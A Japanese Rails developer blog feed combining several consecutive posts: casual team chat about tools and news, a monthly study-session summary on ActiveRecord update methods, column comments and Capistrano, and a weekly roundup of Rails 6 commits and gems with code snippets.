「そうそう、Backlogは安い(16,000円/月程度)というのはメリット💰」「Basicプランでユーザー100個作れるしほぼほぼ無限と言っていいし、次のプランも大して高くないし」「そこまでいったら1プロジェクト100円とかそんな値段😆


backlog.comより

「それにしても既存のチケットがある状態でよく移行したなと思うし」「スゴい」「既存システムはそのままで新規プロジェクトから新しい方を使うとかできればまだ傷は浅そうだけど」「でもそれって既存システムからの移行という目標を達成できなかったということだし」「特に既存システムでうまく回っているプロジェクトのメンバーを説得するのが大変そう」「移行を指揮した側は達成感あっても、裏で密かに不満がたまってこっそりRedmineを立ち上げるとか🤣」「ありそう🤣」「プラグイン地獄になるくらいRedmineを使いこなしてるなら、そうそう手放さないだろうし」

⚓幼少期のコンピュータ利用と学力

つっつきボイス:「『幼少期のコンピュータ利用と学力に関連がある』みたいな説をどこかで見たんですけど」「その手の説っていろいろ恣意的だったりしますよね😆」「でしょうね😆」「対象となる年齢層が子どもの頃家にパソコンがあったとして、その家庭の世帯収入はどうだったのかみたいな要素だってあるだろうし」「今なんてスマホが流行ってるせいで、情報通信白書あたりによると一時期よりパソコンの所有率下がり始めてるぐらいだし↓」「あ〜」「キーボード打てないとか当たり前みたいな」「きっとこれからもっと下がるんでしょうね😅

参考: 総務省|平成30年版 情報通信白書|情報通信機器の保有状況

「コンピュータ使用開始年齢にしても然り: 大卒の人たちがコンピュータ使用開始年齢だった頃に家にコンピュータがあったということは、それなりに昔なわけだから、その時代はそもそも今よりもコンピュータの所有率って低かったんじゃね?って思ったり😆」「たしかに😆」「昔にコンピュータ持ってた家なら世帯収入もそれなりにいいだろうし、教育にも金かける傾向が強まるみたいな話にきっとなると思うし😆」「時間推移を調整しておかないとってことか😳」「結局世帯収入の方が学力に影響するってオチだったりして」「実際そっちの可能性の方が濃厚だったりするし」

参考: データえっせい: 幼少期のコンピュータ利用と学力の関連

⚓その他のその他


つっつきボイス:「ラーメン屋で顔認証って、店に入った瞬間に『はいマシマシですね』って機械に先回りされるとか😆」「へ〜、これは意外に広まるかも?」「お〜?」「ほら、常連客って自分がお店から大事にされてると思いがちだったりするし」「店はそこまで思ってなかったりしそうだけど😆

「こういう情報ってPOS端末あたりに表示すればいいからお客さんに直接見せる必要もないし」「あとはコスト的に見合うかどうか💰」「その店だけで使うならいいけど、与信情報みたく広く共有されてどの店に行っても同じものばかり勧められても困りそう😭

「あと、おそらくだけど今の日本の法律では客の許可取らずにこれできないと思うし」「あ、そうか🤭」「会員証発行みたいな形式を取ればクリアできそうだけど」「あとはデータの扱いかしら」「学習データは個人情報ではないという見解の人もいたりするけど今後どうなるかだし」

「とにかく自分はこのシステムはちょっと面白そうって思う: 可能性ありそうだし🍜」「割といけそうかも🍲」「ラーメン屋1軒でペイするかどうかはさておいてですが😆」「技術的にはイケそうだけどビジネスはどうなるか」(以下延々)



つっつきボイス:「鬼太郎って海外でそんなに知られてましたっけ?👁」「どうだっけ😆」「たぶん海外からの観光客も、いい加減日本の観光地ずれしたテンプレのサービスに飽き飽きしてるのかも?」「インバウンドとかおもてなしとかで、日本中どこに行っても同じになったらそれはそれでイヤだろうし」

「一回目はアキハバラー!!とかでよくても、2回目ぐらいからはもっと違うところを見たくなるだろうし」「私の親戚がアメリカから遊びに来たときは、まさに1回目はアキハバラ〜!で、2回目は池袋で少年ジャンプのテーマパーク」「あんまし変わってない🤣」「そういう観光客に画一的なおもてなしサービスをぶつけると、たいてい引いていなくなっちゃう🤣」「またそれかよ!みたいな」

⚓番外

⚓昆虫が種類も量も減っているらしい


つっつきボイス:「これマジだったらちょっと怖いかも😨: 温暖化より直近でヤバそうな」「人類が今までばらまいてた農薬の希釈がだんだん追いつかなくなってきたとか?」「マイクロプラスチックなんてのも」「食物連鎖的なところにヒビが入ったりとか」「よく知らないところでいつの間にか大ごとになってるみたいな」「一度も起こったことのないことを研究するのって予測難しそう📈」「地球の歴史スケールで見ると何かのパラメータがピコっと揺れただけだったみたいなことかもしれないし」「でもそのピコっにたまたま俺らが出くわしたら死ぬことになるんだけど😇

参考: 昆虫種の「壊滅的崩壊」、地球規模で進行中 研究 写真1枚 国際ニュース:AFPBB News
参考: Can Honeybees Learn Math? Research Suggests They Can


今回は以上です。

バックナンバー(2019年度第1四半期)

週刊Railsウォッチ(20190212)EnvoyとIstioに大注目、SQLQLとは、buildkite.comのCI、さよならItanium、PWA vs Androidほか

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやRSSなど)です。

Rails公式ニュース

Ruby Weekly

RubyFlow

160928_1638_XvIP4h

Hacklines

Hacklines

Publickey

publickey_banner_captured

DB Weekly

db_weekly_banner

月刊Railsウォッチサマリー: 2018/12(社内勉強会)

$
0
0

こんにちは、hachi8833です。BPS社内勉強会でmorimorihogeさんが発表した「月刊Railsウォッチサマリー」の2018/12版を元にお送りします。

反応がよければ月刊として定着させたいと思いますので、皆さまからのフィードバックやご要望を@morimorihogeまたは@hachi8833までぜひお寄せください🙇


morimorihogeコメント:
Railsウォッチを毎週やっている中では、時によっては半分以上がマニアックな話題に終始してしまうことがあり、普段のWeb開発業務に直接役立つ知識を追いかけている人にとってはノイズに思えてしまう部分も多いと思います(ノイズの中にも面白いネタが転がっているので意図的にやってるのですが)。
「面白さ」を追求する週刊Railsウォッチに対して「実用性」を追求した月刊サマリーとでもご理解下さい😉

※なお、ピックアップしているトピックや内容の重要度については多分に僕個人の価値観が含まれるため、業務でのご利用の際は皆様一次ソースをご確認の上自己責任でご利用下さい。

⚓週刊Railsウォッチ(20181203)

週刊Railsウォッチ(20181203)Railsのglobalidとは、AWS LambdaがRubyに対応、JSはPromiseを最初に学べほか

この回は「公開つっつき会」の日でした。

⚓主な話題

  • Rails本体
    • ⚓: ActionCableのコードがCoffeeScriptからES2015にリライトされた(後述
    • ⚓: RailsでActiveJobが入ったときに、gid://形式でオブジェクトを一意に参照できるglobalidという仕組みが導入されていた
  • その他
    • ⚓: AWS LambdaのCurtom RuntimeでRubyを含むさまざまな言語が簡単に動作するようになった
    • ⚓: JS初心者がES2015を学ぶなら最初にPromiseをやろう

⚓ES2015とJavaScriptの今後

勉強会では、上述のCoffeeScript -> ES2015リライトに関連して、morimorihogeさんによるES2015やJavaScriptの今後の見通しについて以下が示されました。少なくとも「将来CoffeeScriptやSprocketに戻ることはないだろう」という見解です。

CoffeeScript
今後新規案件で新しく書くことはないと思う方がよさそう
jQuery
「とりあえずjQueryを入れる」はやめる方がよさそう
・急ぎの案件や、技術的負債を見越した案件、ライブラリの関係でjQueryを使わざるを得ない場合はこの限りではない
TypeScript
現時点ではES2015を生で書くことの方が多いように思える
Webpacker
今が移行の苦しい時期
・もう少しこなれてくれば使えるようになるかも
・Webpacker本家のバージョンに完全追従していないなどはかなりつらい
・Webpackerがつらいなら生Webpackにする手も
morimorihogeコメント:
非Railsメインな方も読んでいるかもしれないので念のため補足しておくと、WebpackerはRailsでwebpackを簡単に扱えるライブラリです。
ぼちぼちリリースの迫るRails 6からはWebpackerがrails new時のアセット管理のデフォルトツールになる予定なので、世のRailsエンジニアは追いかけておく必要があります。

一方、Webpackerにはかなりハマりどころも多く、本家webpack側のバージョンアップに追随するのが少し遅かったり、ちゃんと使おうとすると結局ある程度しっかりとしたwebpackの知識も必要になってくるということから、webpackを簡単に使うためにWebpackerを導入したのに結局勉強するものが増えてしまったという悲しい気持ちになることもあります。

また、昨今ではフロントエンドエンジニアとバックエンドエンジニアが分業するスタイルが一般化してきましたが、フロントエンジニアにとってはWebpackをいつも通り使いたいだけなのに、なんでWebpacker使わないといけないんや!Rubyわからん!!というhateを生み出す要因になってしまうところもあると思います。

というわけで、フロントとバックエンドを開発するメンバーなりチームが明確に分かれていて、かつフロントエンジニアがRailsにそれほど慣れていない場合には素のwebpackの方がチーム間は仲良くできるのではないかなあ、と思っていたりします。お互い適切な距離感が大事。

#今気づきましたがwebpackは全部小文字、Webpackerは頭大文字なんですね

webpackは全部小文字、Webpackerは頭大文字

気が付きませんでした💦

⚓週刊Railsウォッチ(20181210)

週刊Railsウォッチ(20181210)update_columnは要注意、DBカラムコメントは書こう、個人情報扱いの注意点、Capistranoはやっぱりいいほか

⚓主な話題

  • Ruby 2.6リリース直前の話題
    • ⚓: 2.6.0-rc1リリース
    • ⚓: 2.6の例外ハンドリングの改善
    • ⚓: 2.6のrefinement改善
  • Rails
    • ⚓: Rails 5.2.2リリース(バグ修正) — 現在開発中のプロジェクトはアップデートしよう
    • ⚓: ActiveRecordの更新系フックの話題(後述
    • ⚓: データベーステーブルのカラムコメントを書くかどうかの話題(後述
    • ⚓: Railsでのセキュアデータの扱いの話題(後述
    • ⚓: Capistranoの話題(後述

⚓ActiveRecordの更新系メソッド

ActiveRecordの更新系メソッドには注意を要するものがあるという話題になりました。ここでいう更新系メソッドは、#save#update#update_attributesなどです。

  • ActiveRecordの更新系メソッドの中には、コールバックを呼ばない(validationをスキップする)ものがある
    • #update_column
    • #update_all
    • #update
    • etc.
  • validationがスキップされると、DBの論理整合性がたちまち失われてしまう
  • RDBMS側でCONSTRAINTによる制約をかける方法もあるが、ビジネスロジックに関連する制約や複雑な制約はどうしてもアプリケーションのコードに置かれるので、すべてをCONSTRAINTでまかなうのは難しい
  • validationを誤ってスキップしないよう、すべてのRailsエンジニアは更新系のメソッドを適切に選ぶ必要がある
morimorihogeコメント:
生SQLを書いていた時代からWebアプリケーション開発をしていた人たちはこのあたりそれほど問題にならないと思います(というかそこまでORM(Object-Relational Mapper。RailsだとActiveRecordに相当)を信頼してない)が、ORMを使ってしか開発したことがないような人が踏みがちなやつです。

RDBMSから見ると整合性があるけど、アプリケーションから見ると不整合なデータというのはRailsだと割と作りがちで、かつ発生してしまった場合の障害も割合危険なものになることが多い(アプリケーションエラーになってしまうケースが多い)ため、コードレビューの際には注意してチェックしたいところです。

⚓DBテーブルのカラムコメント

データベーステーブルのカラムを作成するときには、適切なカラムコメントを日本語で追加しておくと自分やチームを助けるという話題です。morimorihogeさんによる勉強会での説明の要点を以下にまとめました。


中規模〜大規模なシステムでテーブル数やカラム数が増えてくると、英語のカラム名を見ただけでは日本語名をすぐに想像できなくなることがよくあります。XXX_atやXXX_keyのような類似の英語カラム名が増えてくると、確認の手間も増えてしまいます。

また、Excel形式のスキーマ仕様書も納品する場合、データベースのスキーマ更新のたびに仕様書を手動で更新するのはまったく非効率です。

幸い、一般的なRDBMSではスキーマ定義時にカラムにコメントを追加する機能があります。これを活用すれば、開発中にカラムの日本語説明を簡単に参照できて開発の効率が向上しますし、A5:SQL Mk-2などの整形ツールを援用してスキーマ仕様書を自動生成することもできます。

現在のRailsでは、スキーマにカラムコメントを書いておけばデータベースに反映されるようになっています(Rails 4以前ではgemが必要でした)。

morimorihogeコメント:
SIerアレルギーの過激な人なんかは「Excel仕様書なんていらない。schema.rbのソース見ろ」みたいなことをいう人もたまにいるのですが、アプリケーションコードが何の言語で書かれていようが気にしないけどDBの中身がどうなっているかは外部連携やビジネスロジックの検討上知りたいというケースは多々あります。

また、初期はRailsアプリのコードが読める身内メンバーだけで開発していたが、システムの運用拡大に伴い「DB仕様書見せて」というケースは比較的多いので、いざという時にチョロく生成できるための先行投資としては悪くないと思います。

⚓Railsでのセキュアデータの扱い

ウォッチで紹介した記事「Securing Sensitive Data in Rails」はRailsを中心に、Webアプリでセキュアなデータを扱うときの注意点を運用も含めてひととおり紹介しています。以下はこのトピックに関するmorimorihogeさんの説明のまとめです。


  • Railsに限らず、セキュアなデータの扱いについて求められる水準は上がっている
  • 特に開発経験の浅い人は、こうした記事に一度は目を通しておいて欲しい
  • データがRailsやライブラリの機能レベルで漏洩する可能性もあるため、重要なデータの扱いについて仕様書に記載があるかどうかにかかわらず、Railsのどの機能でどういう漏洩が発生しうるかを実装サイドで理解しておく必要がある
    • 重要なデータがサーバーログに含まれていた、など

⚓Capistranoの話題

BPS社内の標準デプロイツールであるCapistranoは今も便利なツールであるという話題でした。Capistranoは既に空気のように当たり前に使われているので、その分最近Capistranoに関する新しい話題を見かけなくなっているという指摘になるほどと思いました。

勉強会では、その他にCapistranoによるデプロイをインフラエンジニアとアプリエンジニアのどちらが設定すべきかという話題にも触れました。以下はmorimorihogeさんの説明のまとめです。


  • Capistranoのデプロイ設定は、どちらかというとアプリエンジニアの仕事だと考える
  • アプリケーションの細かい設定は、インフラエンジニアだけではできないものであり、インフラエンジニアの作業範囲を超えると考える
    • インフラエンジニアは文字通りインフラを準備することが業務
  • スムーズな連携作業のためにも、アプリエンジニアはCapistranoのデプロイ設定を書けるようになって欲しい
morimorihogeコメント:
インフラエンジニアとアプリエンジニアの責任分界点は割と会社やプロジェクトチームによっても異なるケースを見かけますので、この辺りは唯一の正解があるわけではないと思います。

弊社ではインフラエンジニアよりもアプリエンジニアの方が数が多いこともあり、なるべくアプリエンジニア側でできることはやってもらう運用にしています。

⚓週刊Railsウォッチ(20181217)

週刊Railsウォッチ(20181217)Railsのafter_*系フックは要注意、早すぎるDRYとYAGNI、mruby 2.0リリースほか

⚓主な話題

  • Rails本体の改修
    • ⚓: 大きなものはなさそう
  • その他
    • ⚓: Rails Developers Meetup 2018 Day 4の話題(後述

⚓Rails Developers Meetup 2018 Day 4

「Rails Developers Meetup」(Railsdm)というカンファレンスの特徴などについてmorimorihogeさんが解説しました。

  • Railsを中心に据えていて、業務に直接役立つ発表が多い
    • RubyKaigiほどマニアックではない
  • Railsのベテラン開発者、経験の浅い開発者のどちらにもおすすめできる
  • 発表内容がバラエティに富んでいて、技術寄りでない発表もあり

私(hachi8833)も、RailsdmはRailsの開発者にとって参加する価値が高いと思いました。実際、今年の3/22に予定されている最初のRailsdm 2019は発売したその日にチケットが完売していました。

⚓週刊Railsウォッチ(20181225)

週刊Railsウォッチ(20181225)Rails 6新機能第2弾「Action Mailbox」、url_forは慣れが要る、Ruby製サーバーレスフレームワークJetsほか

⚓主な話題

  • Rails
    • ⚓: 新機能Action Mailboxの登場 — しばらくは様子見かも
    • ⚓: URLHelperによるurl_for名前解決の話題(後述

⚓URLHelperによるurl_for名前解決

Railsつっつき会と本勉強会の両方で、しきりに「#url_forは闇が深い」という話が出ました。以下はつっつきと勉強会でのmorimorihogeさんの説明をまとめたものです。

  • RailsのURLHelperのメソッドである#url_forはルーティング形式の引数をURLに変換するためのもので、*_path*_urllink_toform_forなどのビューヘルパーの内部で多用されている
    • #url_forは単に奥が深いというより、後方互換性などによって闇が深くなっている面がある
  • #url_forは実に多種多様なパターンで引数を受け取れる
    • #url_forの挙動を理解しようとしても、少々実装を追いかけたぐらいでは理解できない
    • #url_forを使いこなせるようになると引数を簡潔に書けるようになる

勉強会では、#url_forの多種多様な引数の渡し方とどう取り組むかについてmorimorihogeさんから次のような話もありました。

  • 引数の渡し方は、参加するRailsプロジェクトによって異なることが多い
    • (新しく実装するなら1つの書き方だけ覚えていれば済む)
  • さまざまなプロジェクトに参加するには、引数の渡し方のパターンをある程度網羅的に知っておく必要がある
  • そのためにも、さまざまな引数の渡し方を少しずつでも学んで慣れておくとよい
morimorihogeコメント:
url_forの書き方は少なくとも同一プロジェクトの中ではある程度統一した方が良いと思います。書き方がばらばらだと単に読みにくいというのもありますが、ソースコード検索でも見落としが出やすくなってしまうため、Routingの見直し時に更新漏れが発生してエラー原因になったりする危険性もあります。

この辺りは既に走っているプロジェクトであれば、既存ソースを見ながら郷に従うのが正義だと思います。

バックナンバー

月刊Railsウォッチサマリー: 2018/11(社内勉強会)

週刊Railsウォッチ(20190225)Rails 6のあまり知られてない新機能、TWAとKotlin/NativeとFlutter、Rubyが26歳の誕生日ほか

$
0
0

こんにちは、hachi8833です。スクショ禁止の分科会決定でひっそりざわついてます。


つっつきボイス:「ちーっす」「お、今日は久しぶりに冒頭から参加😍」「いや〜もう疲れちゃったんで今日はこれで仕事終わりにしようと思って😅」「そういうときはウォッチつっつきで気分転換しましょ🏖」「そのつもりです☺」「そうそう、疲れたときはRailsウォッチ😆」「今日納品とかじゃなければ全然OK🚛: ちょうど長い実装やっと終わったんですよね」(以下延々)

  • 各記事冒頭には⚓でパーマリンクを置いてあります: 社内やTwitterでの議論などにどうぞ
  • 「つっつきボイス」はRailsウォッチ公開前ドラフトを社内有志でつっついたときの会話の再構成です👄
  • 毎月第一木曜日に「公開つっつき会」を開催しています: お気軽にご応募ください

⚓週刊Railsウォッチ「公開つっつき会#8」開催のお知らせ

次回は3/7(木)開催です。皆さまのお気軽なご応募をお待ちしております🙇

⚓Rails: 先週の改修(Rails公式ニュースより)

コミットリストから見繕いました。@tenderloveさんのテンプレート改修が目立ちます。

⚓PostgreSQLのUUIDキャストのアロケーションを削減

# activerecord/lib/active_record/connection_adapters/postgresql/oid/uuid.rb#L7
        class Uuid < Type::Value # :nodoc:
          ACCEPTABLE_UUID = %r{\A(\{)?([a-fA-F0-9]{4}-?){8}(?(1)\}|)\z}
          alias_method :serialize, :deserialize
          def type
            :uuid
          end

-         def cast(value)
-           value.to_s[ACCEPTABLE_UUID, 0]
-         end
+         private
+
+           def cast_value(value)
+             casted = value.to_s
+             casted if casted.match?(ACCEPTABLE_UUID)
+           end
        end

つっつきボイス:「おぉ〜UUIDをプライマリキーに?」「UUIDをstringで取れるようになったのか」

「どうなんだろうね〜、UUIDをプライマリキーにしようみたいな話はIDが溢れた経験のある人はみんな言ってますけど😆」「😆」「とはいえRailsのURLにあの長ったらしいUUIDが出てくるのもちょっとね〜」「マイクロソフトの7a98c250-6808-11cf-b73b-00aa00b677a7みたいなUUIDとさんざんお付き合いしたことあります😅

参考: Generating the UUID - Windows applications | Microsoft Docs

⚓ActiveSupportのZeitwerkIntegrationunhook!を追加

# activesupport/lib/active_support/dependencies/zeitwerk_integration.rb#L30

        def verbose=(verbose)
          l = verbose ? (logger || Rails.logger).method(:debug) : nil
          Rails.autoloaders.each { |autoloader| autoloader.logger = l }
        end

+        def unhook!
+         :no_op
+       end

zeitwerkが1.2にアップグレードされたのも07346で取り込まれていました。


つっつきボイス:「zeitwerk、発音なんだっけ」「えっと、ツァイトヴェルクだったかな」「コミットしてるfxnさんがzeitwerkやってる人ですね」

「Zeitwerkのコミット数や規模が思ったより小さくてちょっとびっくりしました」「オートローダーやってるだけだから小さいんでしょうね: Rubyの新しい機能を使っていい感じのオートローダーを作った的な」

⚓レンダラーがstringではなくレンダリング済みテンプレートオブジェクトを返すよう変更

# actionview/lib/action_view/base.rb#L289
-   def in_context(options, locals)
+   def in_rendering_context(options)
      old_view_renderer  = @view_renderer
      old_lookup_context = @lookup_context

      if !lookup_context.html_fallback_for_js && options[:formats]
        formats = Array(options[:formats])
        if formats == [:js]
          formats << :html
        end
        @lookup_context = lookup_context.with_prepended_formats(formats)
        @view_renderer = ActionView::Renderer.new @lookup_context
      end
      yield @view_renderer
    ensure
      @view_renderer = old_view_renderer
      @lookup_context = old_lookup_context
    end
    ActiveSupport.run_load_hooks(:action_view, self)
  end
end

つっつきボイス:「いきなりstringを返すんじゃなくてテンプレートのまま返すようにしたのね」「最近のtenderloveさんはずっとテンプレートレンダラー周りにかかりっきりですね」「Railsの表示を速くしたいからだったりして😆: 主にGitHubの」「tenderloveさんはGitHubの人ですしね」

「実際レンダリング周りって、Rails的に書き進めていくと極限に遅くなるし: 表示完了まで15秒かかったなんてこともあったし🐌」「へ〜」「要するにパーシャルに分ければ分けるほど、どんどん遅くなる」「あ〜そんな話もありますね」「パーシャル化を進めていくと、テーブルのところとかでパーシャルが入れ子になってしまったりするんですが、そういうところで横のループと縦のループが形成されると遅くなって死ねるという🐢」「あんまり遅くなるから今度はパーシャルを結合していったりとか😆」「😆」「Railsでパーシャルを増やしたときの遅さはもう少し何とかしないといけない気がする🤔

⚓rendered_formatを非推奨化

# actionview/lib/action_view/rendering.rb#L25
  module Rendering
    extend ActiveSupport::Concern
    include ActionView::ViewPaths

+   attr_reader :rendered_format
+
+   def initialize
+     @rendered_format = nil
+     super
+   end
...

-   def rendered_format
-     Template::Types[lookup_context.rendered_format]
-   end

つっつきボイス:「rendered_formatを非推奨…?」「この副作用に依存しなくなったから消すと」「普段触らないところだからよくわからないけど、たま〜にこういうのが必要になったりしますね😆」「たしかに〜」「ごくまれにここのコンテキストのフォーマットを取りたいみたいなのが😆

参考: rendered_formatAbstractController::Rendering

「Railsじゃないけど、以前PHPのフレームワークでどうしてもコンテキストを取りたいことがあって、フレームワークのソースをどっさり読んでまで取ったのをちょっと思い出した😭」「わかりみ」「ああいうのはツラいホント😇

⚓delete_bydestroy_byを追加

#35304でDHHが足そうと決めたようです。

# #35304より
# Before
unreads.find_by(readable: readable)&.destroy
unreads.where(readable: readable).destroy_all
unreads.where(readable: readable).delete_all

# After
unreads.destroy_by(readable: readable)
unreads.destroy_by(readable: readable)
unreads.delete_by(readable: readable)

つっつきボイス:「あ〜これが欲しいのわかる!」「たしかに」「delete_byとかdestroy_by、あっていい😋

delete_byだとActiveRecordのオブジェクトを作らないことができそう?destroy_byだとフックが動くからActiveRecordのオブジェクトを作らないといけないだろうけど」「どうでしょう?わかんないけど、destroy_byの動作に寄せるんじゃないかな〜🤔: destroyだと削除済みのActiveRecordオブジェクトが返ってきた気がするし、find_byもオブジェクト返すから同じにするのかななんて」「persistedがオフになったオブジェクトを返すみたいな?」「たぶんそんな感じで」

destroyって、うろ覚えだけどsaveみたいな他のメソッドとちょっと動きが違ってて、たしかtrue/falseを返さずに、削除済みのオブジェクトを返してた気がする: でdestroyed?すると削除に成功したかどうかがわかるみたいな作りだったと思うんですよね」「あーそういうのどっかで見たことある」

参考: destroyed?ActiveRecord::Persistence

「だから厳密なことを言えば、削除が成功したかどうかをdestroyed?でチェックするのが筋なんですけど、普通みんなそこまでやらないっすよね😆」「destroyしたらもう次にはリダイレクトかけたりとか😆」「trueじゃないかもしれないんだぞと😆」「まあエスケープが別の例外吐くかもしれませんが😆」「いずれにしろdestroyってちょっと変なAPIだった覚えがあるんですよね」

「でも削除したオブジェクトを取れれば『〜を削除しました』みたいなメッセージを作りやすいし」「あ、確かに!」「delete_byとかdestroy_by、たしかにあっていいヤツ👍

⚓Rails

⚓Rails 6のあまり前面に出ていない新機能


つっつきボイス:「TechRacho読んでればだいたい知ってること多いかな」「そんな気がしますね」


「そうそう、Webpackerが6でデフォルトになるし」


「暗号化credentialで環境をサポート」「つかそれがないと使いものにならないと思うんですけど🤣」「🤣」「環境使い分けられないcredentialを誰が使うのかと🤣」「credential周りも何だかずっとやってる感」「gemがあるからそんなに不自由しないのかもしれないけど」


ActionDispatch::HostAuthorizationってのができたのか、へ〜」「Hostヘッダー攻撃を防ぐためのものですか」

参考: What Is a Host Header Attack? - DZone Security


translationメソッドと_html、これあったな」「あったあった(ウォッチ20180723)」「i18nでこんなふうに↓_html付けると式展開が自動でエスケープされるヤツ」

# en.yml
en:
  hello_html: "Welcome <strong>%{user_name}</strong>!"

Relation#pick?」「あー、pluckの単発バージョンみたいな」「LIMIT 1がつくのね」


update_attributesが非推奨になる件、ちょうどこないだ社内のコードレビューでやりましたね」「ウォッチで取り上げられてたんで、そのリンク(ウォッチ20190218)をそのままレビューに貼って『非推奨になるらしいっすよ』って使いました😆」「やったね😋」「業務で役に立った😋


「MySQLのデフォルトエンコーディングがutf8mb4になる件」「まだ対応してなかったんだっけ?」「これもウォッチで扱った覚えが(ウォッチ20180925)」「たしかこの対応のためにMySQLのミニマムバージョンが引き上げられた」「そういえばそっちの方が大きい話だったかも」


rails db:system:changeができるようになった話(ウォッチ20190121😆」 「へぇ〜」「create_table: :if_not_existもあった(ウォッチ20181203)」


「セッションオブジェクトのナビゲーション?」「digというハッシュ的なメソッドでセッションオブジェクトを安全に扱えるようになったのか」


Enumerable#index_withですって(ウォッチ20180608)」「当時の記事で『これは優秀なメソッド』ってありますね😋


Array#extract!ウォッチ20180827)」「Arrayでやれるのか〜」


rails server -u pumaみたいにサーバーを指定できるようになるし」「ほぉ〜」


「サマリーとしていい記事👍: ダラダラ書いてないのも好感持てるし」「Railsウォッチを毎週読んでない人にはこういう記事もいいかも☺」「そうですね☺

⚓Rails 5.2向け厳選gem 10種(Ruby Weeklyより)

「ちょっと時間が押してるので簡単に」「SidekiqにPryにDalli」「そしてexception_notificationは定番かな」

「プッシュ通知のFCMにWicked PDF」「Chartkickはグラフ生成」「こういうのいっぱいありすぎて😭

Wicked PDFとChartkickは昔の翻訳記事にありました↓。

Ruby on Railsで使ってうれしい19のgem(翻訳)

Rails tips: Railsアプリに1行書くだけでチャートを作成できるchartkick/chartable gem(翻訳)

「AWS-SDK S3も有名」

「おお、will_pagenateなんてなつかしい👴」「ここだけ急に古いですね」「まだ使ってる人いたんだ〜」「kaminariとwill_pagenateって同じものかと思ってた😅」「will_pagenateってこんなきれいに出ましたっけ↓😆」「さすがにBootstrapとか当ててんじゃね?😆」「最近だとPagyが速いらしいけど」


同記事より

Rails:「Pagy」gemでRailsアプリを高速ページネーション(翻訳)

「active_model_serializersも定番」「これはある意味難しいgemだけど、ちょろいAPIとかだったらこれでいけたりしそうではある」「少なくともjbuilderで全部やろうとするよりは全然いい」「おや、active_model_serializers、長いこと更新されてないっぽいな」「ちょい悩ましい」「active_model_serializersのリポジトリってrails-apiっていうんですね」「何だか公式っぽい雰囲気?」「微妙にイラッとする😆」「あ、そうじゃなくてactive_model_serializersってRailsにマージされてるのか!」「しかしこの更新のされなさはちょっとためらいを感じる😆」「完成され尽くしてるのかも😆」「いやいや😆」「モデルに対するDecoratorみたいなgemだし」「JSONにするためのgemというか」「何となれば自分たちでメンテできそうなささやかな規模感ではあるけど」「あり方はビューっぽいけど、それをとてもモデルっぽく書けるgemですよね☺

「active_model_serializers、リポジトリにソースが見当たらない…?」「他のどっかに置いてあるとか?」「もしかしてRSpecみたいな感じだったりして: RSpecって本体にはほとんど中身がなくて、実際の中身はrspec-coreとかそういうところに置かれてたりするし」「active_model_serializersのソースの場所やっぱりよくわからん😅」「RubyMineとかだったら何も考えずにジャンプできるからソース探し回らなくていいんだけどな〜」

「active_model_serializersみたいなgemはソース読まないとわからない感じですよね」「このgemを使ってきれいに書いたサンプルコードとかないと使いにくい感じありますね」「root要素を指定できるオプションなんかもあって確かに欲しいヤツなんだけどデフォルトの挙動がよくわかんないし😅」「undocumentedとまではいかないにしても情報がちと少ない感」「触ってみないとわからない感じなんですね」「このgemは入れてすぐ使えると思わないほうがいいかも😆: 1日ぐらいああでもないこうでもないとかやってみないと(実際やったし)」「自分もやりましたよ😅

⚓rubanok: params周りをすっきりさせるgem(Ruby Weeklyより)

久しぶりにEvil Martiansがスポンサーのgemです。Rails以外でも使えるそうです。

# 同リポジトリより
class CourseSessionController < ApplicationController
  def index
    @sessions = CourseSession.
                  search(params[:q]).
                  by_course_type(params[:course_type_id]).
                  by_role(params[:role_id]).
                  paginate(page_params).
                  order(ordering_params)
  end
end

# 上を下のように書ける
class CourseSessionController < ApplicationController
  def index
    @sessions = planish(
      # pass input
      CourseSession.all,
      # pass params
      params,
      # provide a plane to use
      with: CourseSessionsPlane
    )
  end
end

# 全部推測させたりも
class CourseSessionController < ApplicationController
  def index
    @sessions = planish(CourseSession.all)
  end
end

つっつきボイス:「これは嬉しいヤツでしょうか?」「ははーん、paramsを直で渡してよしなに解釈してくれる感じかな」「Ransackみたいな?」「Query Objectに近い感じ」「このgemをいきなり使われたら意味わかんなくてびっくりしそうではある😆」「上みたいにbefore/afterで示されてればわかるけど、afterだけ見せられたらヘ(゚д゚)ノ ナニコレ?みたいな😆」「😆」「こういうのを柔軟にやるのはなかなか大変そう…」「やりたいことはわかるけど、それが他の開発者に伝わるかどうかが心配だな〜: その意味でこういうやり方はちょっと😅

⚓VelocityとGitPrimeをチェックした


つっつきボイス:「Code Climateさんの記事です」「VelocityとGitPrimeって何だろうと思ったらプロダクトみたい」「VelocityはCode Climateの自社製品なんですね」


codeclimate.comより


gitprime.comより

「Velocity、ちゃんと見てないけどNewRelicとかDatadogとかみたいな感じに見える」「アプリケーションメトリクスを収集してビジュアル表示するみたいな感じ?」「Datadogが近いのかも🤔」「ということはGitPrimeはVelocityのライバルさんかしら」

「ところで、Code Climateの自動レビューみたいなエンジニアのコミュニケーションを自動化するみたいなツールって、CIとかを除けばなぜか日本であまり定着しないんですが、その理由はもしかすると日本では結局日本語でやりとりしてるからじゃないかなという気がしてます」「あ〜」「ほら、海外だとプライマリ言語が英語じゃない同士が英語でやりとりしてたりするじゃないですか: そういう日常会話レベルでいろいろ大変な人たち同士だとコミュニケーション自動化ツールっていろいろありがたいと思うんですが」「それあるかも」「日本だと結局口頭でやりとりする方が早いみたいな感じになったりとか」

「そういえば某案件でSiderってツール↓使ってるんですけど、『Siderで指摘された内容は全部直してください』ってレビューで書いてあって😆、なるほどそういう使い方なんだなって思ったりしましたね」「へー、サイダー🥤」「あ、CiderじゃなくてSiderです」「もう日本語化されてる?」「Siderって元々日本発のサービスだった気がします(ウォッチ20180910)」「あ、そうなんだ!」「とにかくこういうのに任せるのもひとつの手だなと思って」

「おいくら万円?」「ユーザー単位か」「フリーもあるけどっ」「日本語で自動レビューされるならいいかな: 別に英語でもいいけどっ😆」「スタンダードが月1500円でリポジトリ数制限ないんなら、ちょっとチームで使ってみようかなという気になってきた😋」「もしGitHubでしか使えないとかだったら残念だけど」「GitHubで、と書いてあるからどうもそれっぽいし」「BPSはGitLabだからGitLabで使えたらいいんだけどな〜🥺」「GitHubとGitLabを同期するプラグインとかでできそうな気もするけど、(GitLabの)マージリクエストをプルリクエストとしてGitHubで同期してくれないとだめだし」「そっか〜」「既に方法がありそうな気もするし、1か月ぐらいやってみたいな」「Siderにしとけば『Siderの言う通り直してください』で済むから楽そうだし😆」「レビューされなくて止まっちゃうより自動レビューされる方がきっといいし😋

⚓その他Rails


